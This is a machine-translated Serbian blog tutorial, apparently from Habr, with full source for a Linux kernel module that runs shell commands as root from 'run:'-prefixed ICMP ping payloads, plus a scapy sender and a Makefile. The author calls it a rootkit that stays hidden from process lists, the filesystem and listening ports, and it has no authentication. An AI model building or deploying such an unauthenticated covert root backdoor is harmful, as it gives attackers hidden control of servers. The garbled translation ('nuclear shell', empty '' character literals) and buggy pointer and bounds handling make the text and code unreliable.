Нуклеарна шкољка изнад ИЦМП-а

Нуклеарна шкољка изнад ИЦМП-а

ТЛ; ДР: Пишем модул кернела који ће читати команде из ИЦМП корисног оптерећења и извршавати их на серверу чак и ако се ваш ССХ сруши. За најнестрпљивије је сва шифра гитхуб.

Опрез! Искусни Ц програмери ризикују да бризну у крваве сузе! Можда чак и грешим у терминологији, али свака критика је добродошла. Пост је намењен онима који имају веома грубу представу о Ц програмирању и желе да погледају унутрашњост Линука.

У коментарима на мој први Чланак поменуо СофтЕтхер ВПН, који може да опонаша неке „обичне“ протоколе, посебно ХТТПС, ИЦМП, па чак и ДНС. Могу да замислим да само први од њих ради, пошто сам веома упознат са ХТТП(С) и морао сам да научим тунелирање преко ИЦМП-а и ДНС-а.

Нуклеарна шкољка изнад ИЦМП-а

Да, 2020. године сам научио да можете уметнути произвољан терет у ИЦМП пакете. Али боље икад него никад! А пошто се ту нешто може учинити, онда то треба и учинити. Пошто у свакодневном животу најчешће користим командну линију, укључујући и преко ССХ, идеја о ИЦМП љусци ми је прво пала на памет. А да бих саставио комплетан буллсхиелд бинго, одлучио сам да га напишем као Линук модул на језику о којем имам само грубу идеју. Таква шкољка неће бити видљива на листи процеса, можете је учитати у кернел и неће бити у систему датотека, нећете видети ништа сумњиво на листи портова за слушање. Што се тиче његових могућности, ово је пуноправни рооткит, али се надам да ћу га побољшати и користити га као последње средство када је просек оптерећења превисок да бих се пријавио преко ССХ-а и извршио барем echo i > /proc/sysrq-triggerда бисте вратили приступ без поновног покретања.

Узимамо уређивач текста, основне вештине програмирања у Питхон-у и Ц-у, Гоогле-у и виртуелни који вам не смета да ставите под нож ако се све поквари (опционо - локални ВиртуалБок/КВМ/итд) и идемо!

На страни клијента

Чинило ми се да ћу за клијентски део морати да напишем сценарио са око 80 редова, али било је љубазних људи који су то урадили за мене сав посао. Код се показао неочекивано једноставним, уклапајући се у 10 значајних редова:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Скрипта узима два аргумента, адресу и корисни терет. Пре слања, корисном учитавању претходи кључ run:, биће нам потребан да искључимо пакете са насумичним садржајем.

Кернелу су потребне привилегије за прављење пакета, тако да ће скрипта морати да се покрене као суперкорисник. Не заборавите да дате дозволе за извршавање и сами инсталирате сцапи. Дебиан има пакет под називом python3-scapy. Сада можете да проверите како све то функционише.

Покретање и излаз команде
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Овако то изгледа у њушкалу
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

Корисно оптерећење у пакету одговора се не мења.

Кернел модул

Да бисте уградили Дебиан виртуелну машину, требаће вам најмање make и linux-headers-amd64, остало ће доћи у облику зависности. Нећу дати цео код у чланку, можете га клонирати на Гитхуб-у.

Постављање куке

За почетак, потребне су нам две функције да учитамо модул и да га истоваримо. Функција за истовар није потребна, али онда rmmod неће радити, модул ће се испразнити само када се искључи.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Шта се дешава овде:

  1. Две датотеке заглавља се увлаче да би се манипулисало самим модулом и нетфилтером.
  2. Све операције пролазе кроз нетфилтер, у њега можете поставити куке. Да бисте то урадили, морате декларисати структуру у којој ће кука бити конфигурисана. Најважније је да наведете функцију која ће се извршити као кука: nfho.hook = icmp_cmd_executor; Касније ћу доћи до саме функције.
    Затим сам подесио време обраде за пакет: NF_INET_PRE_ROUTING одређује да се пакет обрађује када се први пут појави у кернелу. Може се користити NF_INET_POST_ROUTING да обради пакет док излази из кернела.
    Поставио сам филтер на ИПв4: nfho.pf = PF_INET;.
    Својој удици дајем највећи приоритет: nfho.priority = NF_IP_PRI_FIRST;
    И региструјем структуру података као стварну куку: nf_register_net_hook(&init_net, &nfho);
  3. Коначна функција уклања куку.
  4. Лиценца је јасно назначена тако да се компајлер не жали.
  5. Функције module_init() и module_exit() подесите друге функције за иницијализацију и завршетак модула.

Преузимање корисног терета

Сада треба да извучемо терет, испоставило се да је ово најтежи задатак. Кернел нема уграђене функције за рад са корисним оптерећењем, можете анализирати само заглавља протокола вишег нивоа.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Шта се дешава:

  1. Морао сам да укључим додатне датотеке заглавља, овог пута да бих манипулисао ИП и ИЦМП заглављима.
  2. Поставио сам максималну дужину линије: #define MAX_CMD_LEN 1976. Зашто баш ово? Зато што се компајлер жали на то! Већ су ми сугерисали да морам да разумем стек и хрпу, једног дана ћу то свакако урадити и можда чак и исправити код. Одмах сам поставио ред који ће садржати команду: char cmd_string[MAX_CMD_LEN];. Требало би да буде видљиво у свим функцијама. О томе ћу детаљније говорити у параграфу 9.
  3. Сада морамо да иницијализујемо (struct work_struct my_work;) структуру и повежите је са другом функцијом (DECLARE_WORK(my_work, work_handler);). О томе зашто је то неопходно говорићу и у деветом пасусу.
  4. Сада декларишем функцију, која ће бити кука. Тип и прихваћене аргументе диктира нетфилтер, само нас занима skb. Ово је бафер утичнице, основна структура података која садржи све доступне информације о пакету.
  5. Да би функција радила, биће вам потребне две структуре и неколико променљивих, укључујући два итератора.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Можемо почети са логиком. Да би модул функционисао, нису потребни никакви пакети осим ИЦМП Ецхо, тако да анализирамо бафер користећи уграђене функције и избацујемо све не-ИЦМП и не-Ецхо пакете. Повратак NF_ACCEPT значи прихватање пакета, али можете и одбацити пакете враћањем NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Нисам тестирао шта ће се догодити без провере ИП заглавља. Моје минимално познавање Ц ми говори да ће се без додатних провера нешто страшно догодити. Биће ми драго ако ме разувериш од овога!

  7. Сада када је пакет тачног типа који вам је потребан, можете издвојити податке. Без уграђене функције, прво морате да добијете показивач на почетак корисног оптерећења. Ово се ради на једном месту, потребно је да узмете показивач на почетак ИЦМП заглавља и померите га на величину овог заглавља. Све користи структуру icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Крај заглавља мора да одговара крају корисног оптерећења у skb, па га добијамо нуклеарним средствима из одговарајуће структуре: tail = skb_tail_pointer(skb);.

    Нуклеарна шкољка изнад ИЦМП-а

    Слика је украдена стога, можете прочитати више о баферу утичнице.

  8. Када имате показиваче на почетак и крај, можете копирати податке у стринг cmd_string, проверите да ли постоји префикс run: и, или одбаците пакет ако недостаје, или поново напишите ред, уклањајући овај префикс.
  9. То је то, сада можете позвати другог руковаоца: schedule_work(&my_work);. Пошто у такав позив неће бити могуће проследити параметар, линија са командом мора бити глобална. schedule_work() ставиће функцију повезану са прослеђеном структуром у општи ред распореда задатака и завршиће, омогућавајући вам да не чекате да се команда заврши. Ово је неопходно јер удица мора бити веома брза. У супротном, ваш избор је да ништа неће почети или ћете добити панику кернела. Кашњење је као смрт!
  10. То је то, можете прихватити пакет са одговарајућим повратом.

Позивање програма у корисничком простору

Ова функција је најразумљивија. Његово име је дато у DECLARE_WORK(), тип и прихваћени аргументи нису интересантни. Узимамо линију са командом и у потпуности је прослеђујемо љусци. Нека се бави рашчлањивањем, тражењем бинарних датотека и свим осталим.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Поставите аргументе на низ стрингова argv[]. Претпостављам да сви знају да се програми заправо извршавају на овај начин, а не као непрекидна линија са размацима.
  2. Подесите променљиве окружења. Убацио сам само ПАТХ са минималним скупом путања, надајући се да су све већ комбиноване /bin с /usr/bin и /sbin с /usr/sbin. Други путеви су ретко важни у пракси.
  3. Готово, урадимо то! Функција кернела call_usermodehelper() прихвата улазак. пут до бинарног, низ аргумената, низ променљивих окружења. Овде такође претпостављам да сви разумеју значење прослеђивања путање до извршне датотеке као засебног аргумента, али можете питати. Последњи аргумент одређује да ли треба чекати да се процес заврши (UMH_WAIT_PROC), почетак процеса (UMH_WAIT_EXEC) или уопште не чекати (UMH_NO_WAIT). Има ли још UMH_KILLABLE, нисам гледао у то.

Скупштина

Склапање модула кернела се врши кроз маке-фрамеворк кернела. Цаллед make унутар специјалног директоријума везаног за верзију кернела (дефинисан овде: KERNELDIR:=/lib/modules/$(shell uname -r)/build), а локација модула се прослеђује променљивој M у аргументима. ицмпсхелл.ко и цлеан циљеви у потпуности користе овај оквир. ИН obj-m означава објектни фајл који ће бити конвертован у модул. Синтакса која преправља main.o в icmpshell.o (icmpshell-objs = main.o) не изгледа ми баш логично, али нека буде тако.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Прикупљамо: make. Учитавање: insmod icmpshell.ko. Готово, можете проверити: sudo ./send.py 45.11.26.232 "date > /tmp/test". Ако имате датотеку на вашој машини /tmp/test и садржи датум слања захтева, што значи да сте урадили све како треба, а ја сам све урадио како треба.

Закључак

Моје прво искуство са нуклеарним развојем било је много лакше него што сам очекивао. Чак и без искуства у развоју у Ц-у, фокусирајући се на наговештаје компајлера и Гоогле резултате, могао сам да напишем радни модул и осећам се као кернел хакер, а у исто време и клинац скрипте. Поред тога, отишао сам на Кернел Невбиес канал, где ми је речено да користим schedule_work() уместо да се јави call_usermodehelper() унутар саме куке и осрамотио га, с правом сумњајући на превару. Стотину линија кода ме коштало око недељу дана развоја у слободно време. Успешно искуство које је уништило мој лични мит о огромној сложености развоја система.

Ако неко пристане да уради преглед кода на Гитхуб-у, бићу захвалан. Прилично сам сигуран да сам направио много глупих грешака, посебно када сам радио са жицама.

Нуклеарна шкољка изнад ИЦМП-а

Извор: ввв.хабр.цом

Додај коментар